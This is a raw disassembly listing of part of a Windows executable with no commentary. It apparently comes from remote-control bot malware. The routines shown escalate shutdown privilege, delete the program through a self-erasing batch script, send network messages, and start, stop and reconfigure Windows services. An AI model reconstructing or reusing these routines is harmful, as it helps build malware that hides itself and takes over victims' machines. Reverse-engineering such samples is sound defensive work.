		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	near ptr 27D088Dh
		nop
		push	esi
		call	ebx


loc_418333:				; CODE XREF: sub_418294+2Aj
					; sub_418294+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418294	endp


; =============== S U B	R O U T	I N E =======================================



sub_418338	proc near		; CODE XREF: sub_401ACD+16B2p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419652
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CB594
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418338	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41835A	proc near		; CODE XREF: sub_401ACD+2755p
					; ___:0041686Cp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_41837E
		cmp	dword_4CB724, esi
		jnz	short loc_41837E
		push	esi
		call	sub_401000
		pop	ecx


loc_41837E:				; CODE XREF: sub_41835A+13j
					; sub_41835A+1Bj
		call	sub_40B2C0
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		nop
		call	near ptr 2690000h
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 26F0781h
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4184DE
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		nop
		call	near ptr 26E0000h
		push	edi
		nop
		call	near ptr 265092Ah
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset dword_43D808
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 2680000h
		push	eax
		nop
		call	near ptr 2660000h
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 2670E7Fh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418486
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 2670D8Ch


loc_418486:				; CODE XREF: sub_41835A+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 27F0000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 2650BD4h


loc_4184DE:				; CODE XREF: sub_41835A+72j
		pop	edi
		pop	esi
		leave
		retn
sub_41835A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184E2	proc near		; CODE XREF: sub_401ACD+7233p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26C0580h
		cmp	[ebp+var_84], 2
		jnz	short loc_418578
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CB5D4
		push	edi
		push	eax
		call	dword_4CB5E4
		test	eax, eax
		jz	short loc_41856A
		push	[ebp+arg_10]
		push	offset dword_439074


loc_418543:				; CODE XREF: sub_4184E2+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h
		jmp	short loc_4185A2
; ---------------------------------------------------------------------------


loc_41856A:				; CODE XREF: sub_4184E2+57j
		nop
		call	near ptr 26709D6h
		push	eax
		push	offset unk_43904C
		jmp	short loc_418543
; ---------------------------------------------------------------------------


loc_418578:				; CODE XREF: sub_4184E2+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_43901C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 1Ch


loc_4185A2:				; CODE XREF: sub_4184E2+86j
		pop	edi
		leave
		retn
sub_4184E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185A5	proc near		; CODE XREF: sub_401ACD+55FFp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 26C0580h
		nop
		cmp	[ebp+var_90], 4
		jnz	short loc_4185FB
		cmp	[ebp+var_8C], 0
		jnz	short loc_4185E4
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_4185FB
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185E4:				; CODE XREF: sub_4185A5+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_4185F6
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_4185FB


loc_4185F6:				; CODE XREF: sub_4185A5+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185FB:				; CODE XREF: sub_4185A5+27j
					; sub_4185A5+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		nop
		call	near ptr 2690B08h
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		call	near ptr 26A0000h
		nop
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41D817
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		nop
		call	near ptr 2770000h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4185A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418685	proc near		; CODE XREF: sub_40111D+F7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		nop
		call	near ptr 268083Ah
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4276F8
		call	sub_41C798
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418685	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186C2	proc near		; CODE XREF: sub_401ACD:loc_406127p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_41871A
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_439098[esi]
		push	edi
		push	eax
		call	sub_41873C
		add	esp, 14h
		test	eax, eax
		jnz	short loc_41870A
		push	edi
		push	off_439094[esi]
		push	offset unk_4391A8


loc_4186FA:				; CODE XREF: sub_4186C2+56j
		mov	esi, offset dword_4DB6D0
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418737
; ---------------------------------------------------------------------------


loc_41870A:				; CODE XREF: sub_4186C2+2Aj
		push	eax
		call	sub_4187DE
		pop	ecx
		push	eax
		push	edi
		push	offset unk_43917C
		jmp	short loc_4186FA
; ---------------------------------------------------------------------------


loc_41871A:				; CODE XREF: sub_4186C2+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DB6D0
		push	off_439090[eax*4]
		push	offset unk_439158
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418737:				; CODE XREF: sub_4186C2+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4186C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41873C	proc near		; CODE XREF: sub_4186C2+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CB648
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418763
		call	near ptr 26709D6h
		nop
		mov	ebx, eax
		jmp	short loc_4187D8
; ---------------------------------------------------------------------------


loc_418763:				; CODE XREF: sub_41873C+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CB530
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418783
		nop
		call	near ptr 26709D6h
		mov	ebx, eax
		jmp	short loc_4187D0
; ---------------------------------------------------------------------------


loc_418783:				; CODE XREF: sub_41873C+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_4187B6
		cmp	eax, 3
		jz	short loc_4187A7
		jle	short loc_4187C9
		cmp	eax, 6
		jg	short loc_4187C9
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CB59C
		jmp	short loc_4187BD
; ---------------------------------------------------------------------------


loc_4187A7:				; CODE XREF: sub_41873C+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CB538
		jmp	short loc_4187BD
; ---------------------------------------------------------------------------


loc_4187B6:				; CODE XREF: sub_41873C+4Dj
		push	esi
		call	dword_4CB5A0


loc_4187BD:				; CODE XREF: sub_41873C+69j
					; sub_41873C+78j
		test	eax, eax
		jnz	short loc_4187C9
		nop
		call	near ptr 26709D6h
		mov	ebx, eax


loc_4187C9:				; CODE XREF: sub_41873C+54j
					; sub_41873C+59j ...
		push	esi
		call	dword_4CB54C


loc_4187D0:				; CODE XREF: sub_41873C+45j
		push	edi
		call	dword_4CB54C
		pop	esi


loc_4187D8:				; CODE XREF: sub_41873C+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_41873C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187DE	proc near		; CODE XREF: sub_4186C2+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418893
		jz	loc_41888C
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418856
		jz	short loc_41884C
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418842
		dec	ecx
		dec	ecx
		jz	short loc_418838
		dec	ecx
		jz	short loc_41882E
		sub	ecx, 51h
		jz	short loc_418824
		sub	ecx, 24h
		jnz	loc_418909	; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418824:				; CODE XREF: sub_4187DE+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_41882E:				; CODE XREF: sub_4187DE+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418838:				; CODE XREF: sub_4187DE+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418842:				; CODE XREF: sub_4187DE+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_41884C:				; CODE XREF: sub_4187DE+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418856:				; CODE XREF: sub_4187DE+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418885
		dec	ecx
		jz	short loc_41887E
		dec	ecx
		jz	short loc_418877
		dec	ecx
		jnz	loc_418909	; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418877:				; CODE XREF: sub_4187DE+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_41887E:				; CODE XREF: sub_4187DE+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_418885:				; CODE XREF: sub_4187DE+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_41888C:				; CODE XREF: sub_4187DE+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_418893:				; CODE XREF: sub_4187DE+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418909 ; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4188F6
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418909 ; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_41894A[ecx]
		jmp	off_418922[ecx*4] ; switch jump


loc_4188B7:				; DATA XREF: ___:off_418922o
		push	offset aTheSpecifiedDa ; jumptable 004188B0 case 7
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188BE:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceDepe ; jumptable 004188B0 case 17
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188C5:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceDe_0 ; jumptable 004188B0 case 10
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188CC:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceHasB ; jumptable 004188B0 case 0
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188D3:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheSpecified_0 ; jumptable 004188B0 case 2
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188DA:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceCoul ; jumptable 004188B0 case 11
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188E1:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceHa_0 ; jumptable 004188B0 case 14
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188E8:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheRequested_1 ; jumptable 004188B0 case 3
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188EF:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceHasN ; jumptable 004188B0 case 4
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188F6:				; CODE XREF: sub_4187DE+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_4188FB:				; CODE XREF: sub_4187DE+41j
					; sub_4187DE+4Bj ...
		push	offset dword_4DB010
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41891C
; ---------------------------------------------------------------------------


loc_418909:				; CODE XREF: sub_4187DE+36j
					; sub_4187DE+89j ...
		push	eax		; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DB010
		call	sub_41B886
		add	esp, 0Ch


loc_41891C:				; CODE XREF: sub_4187DE+129j
		mov	eax, offset dword_4DB010
		retn
sub_4187DE	endp

; ---------------------------------------------------------------------------
off_418922	dd offset loc_4188CC	; DATA XREF: sub_4187DE+D2r
		dd offset loc_4188D3	; jump table for switch	statement
		dd offset loc_4188E8
		dd offset loc_4188EF
		dd offset loc_4188B7
		dd offset loc_4188C5
		dd offset loc_4188DA
		dd offset loc_4188E1
		dd offset loc_4188BE
		dd offset loc_418909
byte_41894A	db	0,     9,     1,     2 ; DATA XREF: sub_4187DE+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41895C	proc near		; CODE XREF: sub_401ACD+45D4p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CB648
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_418994:				; CODE XREF: sub_41895C+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CB614
		test	eax, eax
		jnz	short loc_4189CE
		call	near ptr 26709D6h
		nop
		cmp	eax, 0EAh
		jnz	loc_418A82


loc_4189CE:				; CODE XREF: sub_41895C+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418A79
		lea	esi, [ebp+var_188]


loc_4189DF:				; CODE XREF: sub_41895C+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418A28
		dec	eax
		jz	short loc_418A21
		dec	eax
		jz	short loc_418A1A
		dec	eax
		jz	short loc_418A13
		dec	eax
		jz	short loc_418A0C
		dec	eax
		jz	short loc_418A05
		dec	eax
		jz	short loc_4189FE
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_4189FE:				; CODE XREF: sub_41895C+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A05:				; CODE XREF: sub_41895C+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A0C:				; CODE XREF: sub_41895C+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A13:				; CODE XREF: sub_41895C+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A1A:				; CODE XREF: sub_41895C+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A21:				; CODE XREF: sub_41895C+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A28:				; CODE XREF: sub_41895C+87j
		push	offset aStopped	; "    Stopped"


loc_418A2D:				; CODE XREF: sub_41895C+A0j
					; sub_41895C+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4189DF


loc_418A79:				; CODE XREF: sub_41895C+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418994


loc_418A82:				; CODE XREF: sub_41895C+6Cj
		push	[ebp+var_C]
		call	dword_4CB54C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41895C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A99	proc near		; CODE XREF: sub_401ACD:loc_406167p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_418B33
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_418AC2
		dec	eax
		jnz	short loc_418B13
		push	edi
		push	0
		call	sub_418C6C
		pop	ecx
		pop	ecx
		jmp	short loc_418B0F
; ---------------------------------------------------------------------------


loc_418AC2:				; CODE XREF: sub_418A99+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_418B01
		push	24h
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418B01
		push	57h
		pop	eax


loc_418AD9:				; CODE XREF: sub_418A99+78j
		push	eax
		call	sub_419460
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB2CC
		push	off_439090[eax*4]
		push	offset unk_43973C
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418B53
; ---------------------------------------------------------------------------


loc_418B01:				; CODE XREF: sub_418A99+2Dj
					; sub_418A99+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_418BC0
		add	esp, 0Ch


loc_418B0F:				; CODE XREF: sub_418A99+27j
		test	eax, eax
		jnz	short loc_418AD9


loc_418B13:				; CODE XREF: sub_418A99+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB2CC
		push	off_439094[eax*4]
		push	offset dword_439720
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418B53
; ---------------------------------------------------------------------------


loc_418B33:				; CODE XREF: sub_418A99+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB2CC
		lea	eax, [eax+eax*2]
		push	off_439090[eax*4]
		push	offset unk_4396FC
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418B53:				; CODE XREF: sub_418A99+66j
					; sub_418A99+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418A99	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B59	proc near		; CODE XREF: sub_419E7A+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_418B66
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_418B66:				; CODE XREF: sub_418B59+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_42717C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DB4CC, 1
		mov	ebp, eax
		jnz	short loc_418BA3
		or	byte_4DB4CC, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	dword_4DB26C, eax


loc_418BA3:				; CODE XREF: sub_418B59+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DB26C
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DB26C
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_418B59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BC0	proc near		; CODE XREF: sub_418A99+6Ep
					; sub_41A19E+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2B
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2B
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41BFB0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_418C2B
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CB548
		pop	edi
		leave
		retn
sub_418BC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C2B	proc near		; CODE XREF: sub_418BC0+Ap
					; sub_418BC0+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_418C38
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418C38:				; CODE XREF: sub_418C2B+9j
		push	ebx
		push	esi
		mov	esi, dword_427180
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418C2B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C6C	proc near		; CODE XREF: sub_418A99+20p
					; sub_419E7A+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2B
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2B
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CB520
		pop	esi
		retn
sub_418C6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C8F	proc near		; CODE XREF: sub_401ACD+46B1p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
